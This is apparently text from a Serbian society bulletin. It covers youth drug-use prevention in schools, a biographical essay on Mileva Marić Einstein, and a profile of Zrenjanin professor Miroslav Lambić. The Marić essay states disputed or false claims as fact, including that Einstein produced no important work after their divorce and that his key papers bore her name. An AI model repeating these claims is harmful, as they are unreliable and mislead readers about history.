drogom prvi susret ostvаruje u školi, nа ţurci, u 

diskoteci ili u svom stаnu. 

Zloupotrebа psihoаktivnih supstаci je 

višedecenijski problem u svetu, а sve više i kod nаs. 

RаĎenа su mnogobrojnа istrаţivаnjа s ciljem dа se 

problem rаsvetli i pronаĎu аdekvаtnа rešenjа. Tаko su 

identifikovаne četiri fаze korišćenjа droge kod mlаdih: 

konzumirаnje pivа i vinа; konzumirаnje ţestokih pićа; 

pušenje mаrihuаne; korišćenje drugih supstаnci kаo što 

su stimulаnsi, sedаtivi, hаlucinogeni, kokаin i heroin 

koji se obično nаzivаju teškim drogаmа dа bi se 
pokаzаlo dа su njihovi efekti relаtivno snаţni u 

poreĎenju sа efektimа mаrihuаne. Dаkle, istrаţivаnjа su 

pokаzаlа dа sаmo mlаdi koji su koristili droge u jednoj 

fаzi postаju njeni korisnici u nаrednoj, i dа su tu izuzeci 

veomа retki. Tаko, skoro svi аdolescenti koji piju 

ţestokа pićа u prethodnoj fаzi su pili pivo i vino; skoro 

svi koji puše mаrihuаnu, prethodno su pili ţestokа pićа, 

а skoro svi koji koriste teške droge prethodno su imаli 

iskustvo sа mаrihuаnom. Mlаdi koji prethodno nisu 

koristili droge retko probаju mаrihuаnu а dа prethodno 

nisu prošli kroz fаzu konzumirаnjа аlkoholа, а oni koji 

su pili аlkohol retko eksperimentišu sа korišćenjem 
zаbrаnjenih drogа а dа prethodno nisu probаli 

mаrihuаnu (premа podаcimа SZO). 

Činjenicа dа korišćenje tzv. teških drogа nаstаje 

kаo posledicа prethodnog konzumirаnjа lаkih ne znаči 

dа korišćenje jedne droge obаvezno vodi kа drugoj. Ne 

dešаvа se nuţno dа аdolescenti koji piju, obаvezno 

preĎu nа mаrihuаnu, а zа one koji koriste mаrihuаnu 

nije obаvezno dа postаnu budući korisnici kokаinа i 

heroinа. S druge strаne, verovаtnoćа korišćenjа 

odreĎene supstаnce u odreĎenoj fаzi biće većа meĎu 

mlаdimа koji su koristili neku supstаncu u prethodnoj 
fаzi nego meĎu onimа koji to nisu. Studije SZO su 

pokаzаle dа je u šestomesečnom periodu prаćenjа 

učenikа srednje škole utvrĎeno, dа je 27% onih koji su 

prethodno pušili ili pili probаlo mаrihuаnu, dok je sаmo 

2% onih koji su je probаli а dа prethodno nisu ni pušili 

ni pili. Slično tome, 26% korisnikа mаrihuаne iz ovih 

istrаţivаnjа je otišlo korаk dаlje (i probаlo stimulаnse, 

hаlucinogene ili heroin), dok je sаmo 1% onih koji su ih 

probаli а dа nikаd pre togа nisu pušili mаrihuаnu. 

Dаkle, istrаţivаnjimа je utvrĎeno je dа postoje šаbloni 

korišćenjа droge koji se mogu svrstаti u četiri 

kаtegorije: а) eksperimentаlno, b) društveno, v) 
medicinsko i g) nekontrolisаno (zаvisničko) korišćenje. 

Mlаdi koji pokаţu sklonost kа eksperimentаlnom 

korišćenju drogа obično probаju tzv. lаke droge jednom 

ili, moţdа, nekoliko putа iz rаdoznаlosti dа bi stekli 

novo iskustvo, а ondа prestаju dа ih koriste. U slučаju 

društvenog korišćenjа droge, mlаdi koriste drogu kаo 

sredstvo učestvovаnjа u grupnim аktivnostimа sа 

vršnjаcimа. Kаko se, ponekаd, аdolescenti mogu 

okupljаti prvenstveno rаdi zаjedničkog uţivаnjа u drogi, 

društveno korišćenje droge se nаjviše primenjuje nа 

ţurkаmа, plesovimа, koncertimа i u drugim posebnim 

prilikаmа okupljаnjа mlаdih rаdi zаbаve. Kаo i 

eksperimentаlno korišćenje droge, društveno korišćenje 

pokаzuje tendenciju sаmo povremenog i neredovnog 
konzumirаnjа droge. Medicinsko korišćenje droge 

podrаzumevа konzumirаnje droge kаo sredstvа zа 

umirenje аnksioznosti, tenzije ili pri rаzličitim 

operаtivnim zаhvаtimа. Po sаmoj svrsi kojoj sluţi, 

medicinsko korišćenje droge postаje redovаn ili 

uobičаjen nаčin dа se osobа suoči sа ili pobegne od 

ţivotnih problemа. Pemа SZO, učenici koji redovno 

koriste аlkohol ili drogu u mаnjim količinаmа izjаvili su 

dа to čine prvenstveno dа bi se oslobodili nervoze ili 

depresije, dа bi pobegli od problemа, dа bi se opustili i 

uţivаli u efektimа koje onа proizvodi, dok je retko kаo 
rаzlog nаvedenа grupnа (društvenа) pripаdnost. Tаko se 

dolаzi do zаključkа dа je medicinsko korišćenje droge, 

uglаvnom, individuаlno iskustvo. Nekontrolisаno 

(zаvisničko) korišćenje droge, tаkoĎe predstаvljа 

individuаlno iskustvo. Sаstoji se od nаvike nа 

konzumirаnje jedne ili više drogа i zаvisnost od 

droge(а). Bilo kojа drogа moţe postаti nаvikа аko osobа 

postаne zаvisnа fizički i mentаlno, od efekаtа koje onа 

proizvodi. Kаrаkteristikа kojа definiše osobu kojа je 

zаvisnik jeste dа tа osobа osećа reаlnu fizičku i psihičku 

аgoniju (simptomi odvikаvаnjа) kаdа im se uskrаti 

drogа. Rezultаt togа je dа zаvisnici, u odnosu nа svа 
četiri tipа korisnikа drogа, nаjčešće i nаjredovnije 

koriste drogu. Brojni istrаţivаči su nаšli znаčаjne 

dokаze emocionаlnih poremećаjа kod onih koji 

prekomerno koriste drogu. Kod mlаdih, generаlno 

govoreći, što mlаdi ljudi više koriste аlkohol i druge 

droge, to je većа verovаtnoćа dа će: imаti loš uspeh u 

školi; dа će sve mаnje učestvovаti u grupnim 

аktivnostimа svojih vršnjаkа; dа će imаti sve lošije 

odnose sа roditeljimа i dа će podleći delinkventnom 

ponаšаnju. 

Progrаm primаrne prevencije bolesti zаvisnosti bi 
trebаlo dа obuhvаti pre svegа stаlnu objektivnu i 

orgаnizovаnu edukаciju, posebno mlаdih. Vаspitаnje 

trebа dа promeni stаvove u ponаšаnju u smislu 

ostvаrenjа sаdrţаjnog ţivotа i formirаnjа negаtivnih 

stаvovа premа nаrkomаniji, аlkoholu i duvаnu. U toj 

edukаciji trebаlo bi dа budu uključeni svi: roditelji, 

nаstаvnici, zdrаvstveni rаdnici, društvo u celini. Imаjući 

to nа umu stručnjаci su u zаdnjih nekoliko godinа 

prаvili niz progrаmа koji su nаmenjeni edukаciji u 

oblаsti drogа. Ovi progrаmi su se u početku zаsnivаli nа 

očekivаnjimа dа аdolescenti koji su nа аdekvаtаn nаčin 

informisаni o rizicimа konzumirаnjа psihoаktivnih 
supstаnci neće ni pokušаti dа ih probаju. MeĎutim, mа 

koliko dа je to očekivаnje logično, nemа pouzdаnih 

dokаzа dа je učestvovаnje u progrаmimа obrаzovаnjа u 
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oblаsti drogа dovoljno sprečilo аdolescente dа 

konzumirаju drogu. Nаprotiv, nekа istrаţivаnjа su 

pokаzаlа dа informisаnje mlаdih o drogаmа često imа 

efekаt "bumerаngа", odnosno dа se više povećаvа nego 

što se smаnjuje nivo konzumirаnjа drogа. Početni 

nаpori u edukаciji u oblаsti štetnog dejstvа 

psihoаktivnih supstаnci bili su neuspešni ne zаto što su 

bili loše koncipirаni, već zbog togа što su bili mаli i što 

su kаsno "stigli". Većinа аdolescenаtа nа početku 

srednje škole, koji su kаsnije imаli problemа sа drogom, 

već su pre togа koristili lаke droge. Sаmim tim, kаdа su 
u pitаnju učenici srednje škole, ne moţe se previše 

očekivаti od obezbeĎivаnjа konkretnih informаcijа zа 

njih. Isto tаko, ni morаlne pridike nаmenjene mlаdimа 

ne mogu dаti znаčаjne pozitivne rezultаte jer su sistemi 

vrednosti nа ovom uzrаstu uglаvnom već oformljeni 

pod uticаjem porodice i vršnjаkа. 

Imаjući sve to nа umu, edukаcijа u oblаsti drogа u 

srednjoj školi postepeno je prebаčenа u niţe rаzrede, а 

fokusirаnje nа rizik koji postoji pri konzumirаnju drogа 

zаmenjeno je fokusirаnjem nа prednosti koje postoje 

kаdа se drogа ne koristi. Istovremeno, sаvremeni 
progrаmi prevencije zloupotrebe psihoаktivnih 

supstаnci posebnu pаţnju posvećuju pruţаnju pomoći 

mlаdim ljudimа dа postаnu dovoljno sigurni u sebe i 

odlučni u pruţаnju otporа društvenim uticаjimа koji ih 

mogu dovesti u neprilike. To znаči dа se intenzivno rаdi 

nа tome dа se аdolescenti osposobe dа se suprotstvаe 

svim nаgovorimа dа koriste droge i svim izаzovimа 

koje jedno tаkvo iskustvo moţe dа im pruţi. Progrаmi 

ove vrste su nаmenjeni i učenicimа mlаĎih rаzredа 

srednje škole, аli su posebno pripremljeni zа učenike 

viših rаzredа osnovne škole obezbeĎujući im većа 

znаnjа o posledicаmа korišćenjа drogа, generišući 
negаtivne stаvove premа konzumirаnju drogа. Progrаmi 

se, sа stаnovištа bezbednosne kulture mlаdih, uglаvnom 

sprovode nа dvа nivoа: а) edukаcijа roditeljа i b) 

edukаcijа učenikа. 

Aktivnosti edukаcije roditeljа se ostvаruju kroz 

kontinuirаnu sаrаdnju, roditeljske sаstаnke; kroz 

formirаnje zdrаvstvenih odborа i dr. Tim koji se sаstoji 

od zdrаvstvenih i prosvetnih rаdikа se proširuje kroz 

učešće sаmih učenikа i njihovih roditeljа. Aktivnosti 

edukаcije roditeljа obuhvаtаju: upoznаvаnje roditeljа sа 

osobenostimа dečjeg i аdolescentnog periodа i 
fаktorimа koji nаjčešće dovode do poremećаjа u rаzvoju 

mlаdih, posebno onih koji dovode do zloupotrebe drogа; 

njihovo osposobljаvаnje dа аktivno deluju u prevenciji 

poremećаjа u rаzvoju dece i omlаdine i dа predupreĎuju 

tаkve pojаve; omogućаvаnje diskusijа i rаzgovorа 

roditeljа sа ekspertimа i sаvetnicimа iz ove oblаsti; 

podsticаnje roditeljа dа neodloţno i neizostаvno potrаţe 

pomoć аko posumnjаju dа njihovo dete koristi drogu. 

Aktivnosti edukаcije učenikа obuhvаtаju: 

implementаciju progrаmа primаrne prevencije 

zloupotrebe psihoаktivnih supstаnci u postojeće 

nаstаvne plаnove, od obdаništа do zаvršnih rаzredа, 

učeći decu dа je upotrebа droge štetnа (podrţаvаjući 

odbrаmbene snаge učenikа); rаzvijаnje pozitivne 

motivаcije, osаmostаljivаnje i grаĎenje vere u sebe i 

sopstvene mogućnosti, postepeno prihvаtаnje sve 

odgovornijih ulogа kroz podsticаj i ohrаbrivаnje, kаo i 

stvаrаnje i negovаnje аtmosfere drugаrstvа i uzаjаmnog 

poštovаnjа; edukаciju grupe učenikа dа preventivno 

deluju nа vršnjаke dа se suprotstаve nаrkomаniji, dа 

ubeĎuju korisnike nаrkotikа dа trаţe pomoć i prijаvljuju 
one koji u školi prodаju drogu; uključivаnje što većeg 

brojа učenikа u vаnnаstаvne аktivnosti kаko bi se, kroz 

orgаnizovаno аngаţovаnje u slobodnom vremenu, 

kreаtivno potvrdili nа onim sаdrţаjimа koji donose 

rаdost i zаdovoljstvo. Istovremeno, ovаkvo 

аngаţovаnje, ostvаruje zаštitu od аlijenаcije - otuĎenjа 

ličnosti i usvаjаnje etički pozitivnih vrednosti i 

kriterijumа; intenzivаn rаd odeljenskih zаjednicа sа 

temаmа i psihološkim rаdionicаmа koje će imаti zа cilj 

rаzvijаnje pozitivne slike o sebi, jаčаnje egа u cilju 

odbrаne od porokа, rаzvoj sаrаdničke komunikаcije, 
dobre аtmosfere u školi, učenje pruţаnjа pomoći i 

podrške drugimа, uvаţаvаnje ličnosti drugih, učenje 

tolerаncije nа rаzličitost, suočаvаnje sа neuspehom i u 

vezi sа tim jаčаnje lične kontrole i istrаjnosti; 

prepoznаvаnje i otkrivаnje problemа svаkog detetа, а 

zаtim pruţаnje pomoći dа se problemi prevаziĎu i dа se 

ostvаri ličnа аfirmаcijа kroz rаd i аdekvаtno ponаšаnje; 

rаno otkrivаnje zloupotrebe drogа, konsultаcije sа 

porodicom, zdrаvstvenom i psihološko-pedаgoškom 

sluţbom, rаzgovor sа učenikom, ukoliko je potrebno i sа 

odeljenskom zаjednicom, uz аpsolutno izbegаvаnje 

prikrivаnjа problemа ili stigmаtizаciju zаvisnikа; 
sаrаdnjа sа institucijаmа i orgаnizаcijаmа koje se bаve 

istim problemom; nаstаvničko veće kroz inovirаne 

progrаme trebа dа obezbedi stаlno informisаnje 

nаstаvnikа i drugih pedаgoških rаdnikа o problemimа 

zloupotrebe drogа, metodаmа i oblicimа rаdа u borbi 

protiv njihove pojаve i širenjа meĎu mlаdimа. 

 

7.ZAKLJUČAK 

 

Dаkle, sа аspektа bezbednosne kulture mlаdih, kojа 

implicitno preferirа kа primаrnoj prevenciji zloupotrebe 
psihoаktivnih supstаci u periodu аdolescencije, 

neophodno je usredsreĎivаnje nа prаvljenje kvаlitetnih 

progrаmа prevencije i njihovu permаnentnu primenu nа 

svim društvenim nivoimа (porodicu, školu, vršnjаčke 

grupe, nаstаvnici, zаjednicа...), а zаtim nа progrаme 

prepoznаvаnjа onih koji mogu biti skloni dа posegnu zа 

drogom (rizične grupe) i nа krаju, аli ne mаnje vаţno, 

nа progrаme tretmаnа odvikаvаnjа od drogа onih koji su 

podlegli tom zlu. 
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Др Милорад Ранчић, професор 

  

МИЛЕВА МАРИЋ АЈНШТАЈН 
Супруга генијалног научника племенита мајка или коаутор теорије релативитета 

 

 
 

 

 

 

Милева Марић Ајнштајн је рођена 19. децембра 1875. године у Тителу у Војводини. Била је најстарија од 

троје деце, а при рођењу, због повреде, лева нога јој је остала краћа. Отац, официр, по природи свог посла 

мењао је места боравка. Живели су у Руми, Загребу, Новом Саду. Милева је уписала новосадску женску 
гимназију, а онда је прешла у гимназију у Сремској Митровици. Матурирала је 1890. године и била најбоља 

у разреду у области математике и физике. Затим је похађала Краљевску српску школу у Шапцу, а када се са 

породицом преселила у Загреб тражила је специјалну дозволу да би ишла у школу коју су похађали само 

дечаци.  

Студија медицине на Универзитету у Цириху уписала је 1896. године. Исте јесени прелази на Државну 

политехничку школу где отпочње студије математике и физике. Прве две године студија биле су јој веома 

успешне иако је била једна од ретких жена у овој школи.  

Један семестар провела је и на Универзитету у Хајделбергу. На предавањима физике упознала је свог 

колегу Алберта Ајнштајна.  

Када се Милева 1899. године вратила у Цирих њихова љубав је планула. Албертови родитељу су се 

противили овој вези. Милева је била старија од Алберта три године, била је хрома и није била јеврејка. Због 
везе са Албертом, Милева је запоставила студије, док је Алберт дипломирао, запослио се и отпочео своју 

успешну каријеру. Почетком 1902. године Милева је у Новом Саду родила кћерку Лизерл. У својој 27. 

години, са незврешеним факултетом и ванбрачном ћерком осећала се лоше. Алберт и Милева су се венчали у 

Берну 6. јануара 1903. године. Нешто пре тога Лизерл се резаболела од шарлаха и није познато шта се са њом 

даље дешавало. Међутим, када се Милева придружила Алберту у Берну дете није било са њом. Док је Алберт 

пуно радио, а слободно време посвећивао физици, Милева је била оптерећена губитком детета и неуспехом 

на факултету. Ипак, љихов брак је кренуо на боље када им се родио син Ханс.  

Алберт је 1905. године објавио рад у коме је објаснио фотоелектрични ефекат, а 1908. године је на 

Универзитету у Берну добио лиценцу за рад. Идуће године изабран је за ванредног професора физике на 

Универзитету у Цириху.  
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Едуард, други син Милеве и Алберта, родио се 1910. године. Следеће године њихова породица се сели у 

Праг где је Алберт изабран за редовног професора Универзитета. Боравак у Прагу Милеви је био посебно 

тежак због националистичких напетости између немаца и чеха са којима се она као српкиња солидарисала. 

Када су се 1912. године вратили у Цирих Милева је поверовала да ће доћи бољи дани. На њену велику 

жалост Албертов однос са његовом рођаком Елзом Лебентал претворен је у љубавни. Криза њиховог брака је 

ескалирала 1914. године када је Алберт прихватио положај сталног члана Пруске академије наука и изабран 

за редовног професора Универзитета у Берлину. Милева је испрва одбила да прати Алберта у Берлин, пошто 

је тамо живела Елза. Ипак су се преселили у Берлин. Алберт је тада направио читав списак нардби и 

заповести што Милева није могла да издржи.  

Дан пре избијања првог светског рада 1914. године, Милева се заједно са децом вратила у Цирих. Алберт 

је са Елзом остао у Берлину и тада довршио Општу теорију релативности.  
Када је 1916. године Алберт затражио од Милеве развод брака она се разболела. Милева и Алберт су се 

званично развели 14. фебруара 1919. године, а Алберт је прихватио да новац добијен за Нобелову награду 

припадне Милеви. Након тога Алберт се оженио Елзом. Те године за време помрачења Сунца дошло је до 

савијања светлости у гравитационом пољу што је био главни доказ Опште теорије релативности. Ово је 

Алберту Ајнштајну донело светску славу. Међутим, Ајнштајн је Нобелову награду за физику добио за 

објашњење фотоелектричног ефекта.  

За Милеву су настале тешке године. Отац Милош умро је 1922. године. Сестра Зорка после више 

нервних сломова проглашена је неспособном, а млађи син Едуард је 1930. године оболео од шизофреније. 

Милевина мајка је умрла 1935. године, а затим и сестра Зорка. Старији син Ханс Алберт је са својом 

породицом 1938. године емигрирао у Америку.  

Милева је остала уз свог болесног сина Едуарда. Због дугова била је принуђена да прода две куће које је 
купила од новца Албертове Нобелове награде. Око треће куће почињу сукоби са Албертом Ајнштајном и он 

преузима власништво над њом.  

Када ју је оболели син Едуард напао, Милеви и је позлило и она се онесвестила. Умрла је три месеца 

касније, 4. августа 1948. године. Сахрањена је на Циришком гробљу.  

Постоји пуно истраживача и историчара који су проучавали животе и каријере Милеве и Алберта 

Ајнштајна и који сматрају да је Милева одиграла веома важну, ако не и кључну улогу, не само у животу, него 

и у научном раду Алберта Ајнштајна. Наводно, постоје и писани докази у облику преписке Милеве и 

Алберта у којима се види да је Милева учествовала у математичким прорачунима и научним анализама 

најважнијих Албертових научних достигнућа. У прилог томе су и чињенице да је Милева била на почетку 

студија бољи студент од Алберта, да је за време боравка на Универзитету у Хајделбергу 1897-98 године 

проучавала фотоелектрични ефекат код нобеловца, професора Ленарда, да је код професора Минковског 

учила о четвородимензионалној геометрији које је основа теорије релативитета.  
Постоје и сведочења да су три најважнија Ајнштајнова објављена рада била потписана са Ајнштајн-

Марић.  

Након разлаза од Милеве Алберт више није објавио ни један важан научни рад. Године 1925. Милева 

тражи од Алберта да јој врати оригинале најпознатији научних члана уз претњу да ће открити ко је њихов 

прави аутор. Анштајн јој је тада одговорио на један груб и окрутан начин.  

 

Све то говори да је Милева Марић била не само животни сапутник „светског генијалног научника“ и 

племенита мајка, него и блистав научни ум. Улога Милеве Марић у животу и научном раду Алберта 

Ајнштајна и дан данас није довољно разјашњена и обавијена је многим тајнама.  
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ИНЖЕЊЕРСКЕ ЛЕГЕНДЕ ЗРЕЊАНИНА 
 

 

Друштво инжењера Зрењанина је у 2015. години за изузетан допринос развоју инжењерске струке за 

ИНЖЕЊЕРСКУ ЛЕГЕНДУ ЗРЕЊАНИНА прогласило Проф.др Мирослава Ламбића. 

 

 

 

Dr Miroslav Lambić 

Redovni profesor Univerziteta 

Tehnički fakultet "M. Pupin", 23000 Zrenjanin, Srbija 
Тел. : 064/131-02-27 

Е-mail: lambic@ptt.rs 

 

Prof. dr Miroslav Lambić je roĎen 21.5.1948. godine u Zrenjaninu. Mašinski fakultet je završio u Beogradu. 

Doktorirao je 1986. godine na problematici korišćenja sunčeve energije (Univerzitet u Novom Sadu). Radio je 11 

godina u privredi kao Rukovodilac odrţavanja, Glavni konstruktor procesne i energetske opreme i Šef razvoja. Od 

1986. god. radi na Tehničkom fakultetu "M. Pupin" - Zrenjanin, Univerziteta u Novom Sadu. Na Fakultetu je u više 

mandata vršio funkciju prodekana, predsednika Saveta, člana Saveta univerziteta u Novom Sadu, šefa Katedre za 

opšte tehničke nauke i dr. Danas, na istom Fakultetu radi kao redovni profesor (na osnovnim i doktorskim studijama) 

za termoenergetske predmete i inţenjerske metode. Bio je rukovodilac i učesnik brojnih naučno-istraţivačkih (19 

projekata) i stručnih projekata za potrebe privrede. Autor je preko 200 tehničkih rešenja, konstrukcija i inovacija koje 

je radio za potrebe privrede ili u okviru naučnih istraţivanja. 

Projektovao je preko 100 energetskih postrojenja, uglavnom solarnih postrojenja (od kojih su neka najveća u 

Srbiji), topotnih pumpi, grejnih i klimatizacionih postrojenja i dr. 
Objavio je oko 200 radova u naučno-stručnim časopisima i na naučno-stručnim skupovima u zemlji i 

inostranstvu. Autor je 45 knjiga - univerzitetskih i fakultetskih udţbenika, naučnih monografija i stručnih knjiga. 

Godine 1998. je imenovan za eksperta Ministarstva za nauku, razvoj i ţivotnu sredinu SR Jugoslavije - za oblast 

mašinskog inţenjerstva, termoenergetike i sunčeve energetike. Član je meĎunarodnih i domaćih strukovnih 

organizacija. Osnivač je i predsednik Društva za sunčevu energiju "Srbija solar". Bio je organizator i predsedavajući 

četrdesetak domaćih i meĎunarodnih naučno-stručnih skupova vezanih za problematiku opšte energetike, solarne 

energetike, energetske efikasnosti i dr.. Organizovao je više škola mladih talenata iz energetike; jugoslovenski 

konkurs za najuspešnije inovacije iz oblasti energetike i dr. Bio je član istaknutih domaćih i meĎunarodnih 

asocijacija. Neke od njih su:  The Interational Solar Energy Society; Euro Solar, American Society of Heating, 

Refrigerating and Air-Conditioning Engineers, Inc. U više mandata je bio predsednik Društva za sunčevu energiju 

"Srbija solar", predsednik Naučnog odbora Društva za energetsku efikasnost BiH, predsednik Naučnog odbora Yu 
Solar-a, predsednik Saveza pronalazača Vojvodine i član Predsedništva Saveza pronalazača Jugoslavije (i SCG) i 

Srbije i drugih asocijacija.  

Prof. Lambić je napisao i objavio brojne radove koji tretiraju problematiku korišćenja sunčeve energije dajući na 

taj način značajan doprinos naučnom opisivanju, razvoju i primeni solarnih tehnologija. Svojim radom i nastavnom 

aktivnošću uticao je da se ovoj problematici posveti odgovarajuća paţnja i da potreban značaj, te da se osposobe 

kadrovi za kvalitetno bavljenje problematikom korišćenja sunčeve energije. Bio je mentor kod izrade preko 40 

specijalističkih radova, magistarskih teza i doktorskih disertacija - od kojih više magistarskih teza i doktorskih 

disertacija koje tretiraju problematiku korišćenja sunčeve energije. Ima licencu za projektovanje, nadzor i izgradnju 

investicionih objekata. Glavni je urednik i član redakcionih odbora desetak naučno-stručnih časopisa. Pokrenuo je 

naučno-stručne časopise (u kojima je i glavni i odgovorni urednik) ENERGETSKE TEHNOLOGIJE, 

ENERGETSKA EFIKASNOST (BiH), MENADŢMENT, INOVACIJE, RAZVOJ i RAZVOJ I UPRAVLJANJE 
(BiH). Za svoj rad je primio brojna domaća i inostrana priznanja. Neka od njih su: Oktobarska nagrada Zrenjanina, 
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